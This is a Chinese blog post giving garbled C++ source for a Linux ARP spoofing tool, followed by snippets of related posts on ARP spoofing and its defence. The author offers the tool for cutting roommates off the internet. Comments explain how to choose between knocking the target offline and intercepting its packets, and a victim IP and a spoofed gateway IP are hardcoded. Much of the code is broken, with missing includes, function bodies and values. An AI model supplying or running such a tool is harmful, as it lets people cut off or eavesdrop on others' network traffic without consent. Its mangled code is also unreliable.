linux 下C 實現 ARP發布,和ARP監聽

2021-08-06 06:31:00 字數 3126 閱讀 6180

改造自

g++ -o即可編譯通過。 ubuntu 14.04

可以用適當的方法,在寢室裡,讓室友不能上網。

#include #include #include #include #include #include #include #include #include #include #include #include //如果只是想讓對方斷網,那就把mac源都設成mac_trick,  

//想截獲資料報那就用mac_source

unsigned char mac_mine= ;

//;//unsigned char mac_source= ;

//冒充(me)的ip

const char ip_mine= "192.168.31.1";

//目標機器的mac

unsigned char mac_target= ;

//目標機器的ip

const char ip_target= "192.168.31.73" ;

//const char ip_target= "192.168.31.255" ;

class arp_header

;class arp_packet

arp;

int main()

void arp_packet::arp_publish()

sleep(1); }}

void arp_packet::die(const char*pre)

void arp_packet::print_arp_packet(arp_header ap)

printf("\nmac_source = ");

for(int i = 0; i < eth_alen; i++)

printf("\nethertype = 0x%x", ntohs(ap.ethertype));

printf("\nhw_type = 0x%x", ntohs(ap.hw_type));

printf("\nproto_type = 0x%x", ntohs(ap.proto_type));

printf("\nmac_addr_len = 0x%x", ap.mac_addr_len);

printf("\nip_addr_len = 0x%x", ap.ip_addr_len);

printf("\noperation_code = 0x%x", ntohs(ap.operation_code));

printf("\nmac_sender = ");

for(int i = 0; i < eth_alen; i++)

printf("\nip_sender = %s", inet_ntoa(*(struct in_addr*)(ap.ip_sender)));

printf("\nmac_receiver = ");

for(int i = 0; i < eth_alen; i++)

printf("\nip_receiver = %s", inet_ntoa(*(struct in_addr*)(ap.ip_receiver)));

printf("\n-----------------arp package end----------------------------\n");

}void arp_packet::init_arp_publish(unsigned char mac_mine, const char ip_mine, unsigned char mac_target, const char ip_target)

if (mac_target == null)

else

memmove(ap.mac_source, mac_mine, sizeof(mac_mine));

ap.ethertype = htons(0x0806);

ap.hw_type = htons(0x1);

ap.proto_type = htons(0x0800);

ap.mac_addr_len = eth_alen;

ap.ip_addr_len = 4;

ap.operation_code = htons(0x1);

//mac_sender = mac_mine;

memmove(ap.mac_sender, mac_mine, sizeof(mac_mine));

inet_aton(ip_mine, &inaddr_sender);

memcpy(&ap.ip_sender, &inaddr_sender, sizeof(inaddr_sender));

//mac_receiver = mac_target;

memmove(&ap.mac_receiver, ap.mac_target, sizeof(ap.mac_target));

inet_aton(ip_target, &inaddr_receiver);

memcpy(&ap.ip_receiver, &inaddr_receiver, sizeof(inaddr_receiver));

memset(&sl, 0, sizeof(sl));

sl.sll_family = af_packet;

= mac_source;

= eth_alen;

= 0;//iff_broadcast;//非常重要

sl.sll_ifindex = iff_broadcast;//非常重要

}void arp_packet::init_arp_server()

memset(&my_etheraddr, 0, sizeof(my_etheraddr));

my_etheraddr.sll_family = af_packet;

my_etheraddr.sll_protocol = htons(eth_p_arp);

my_etheraddr.sll_ifindex = iff_broadcast;

if (-1 == bind(sfd, (struct sockaddr *)&my_etheraddr, sizeof(my_etheraddr))) }

void arp_packet::arp_server_run(arp_header &ah)

}

linux下的arp欺騙實現

由於畢業設計的需要,我需要在linux下實現arp欺騙,現在將我的一點心得寫下來,因為本人目前也在學習中,希望大家廣提意見,謝謝!首先安裝libpcap,libnet,libnids,compat db,openssl,如果沒有的話請到 在安裝前要注意一下,因為這個dsniff已經很久沒有更新了,所...

在linux下使用c語言實現ARP欺騙

區域網內arp欺騙已經不是個新鮮的話題,且現在無論主機還是網路裝置,對arp欺騙的防範能力已經大大增強。使用c實現的主要目的在於對linux下socket程式設計加深理解。傳送arp包自然少不了對資料鏈路層的直接操作,linux下有多種方式,下面 依據af packet實現。具體 如下 arp at...

linux下防範arp欺騙攻擊

原貼 http blog.chinaunix.net u1 47189 showart 396686.html linux下防範arp欺騙攻擊 rurutiaposted 2007年04月23日 12 17am in linux with tags arp攻擊 前兩天家裡的網斷斷續續,發現有人在用a...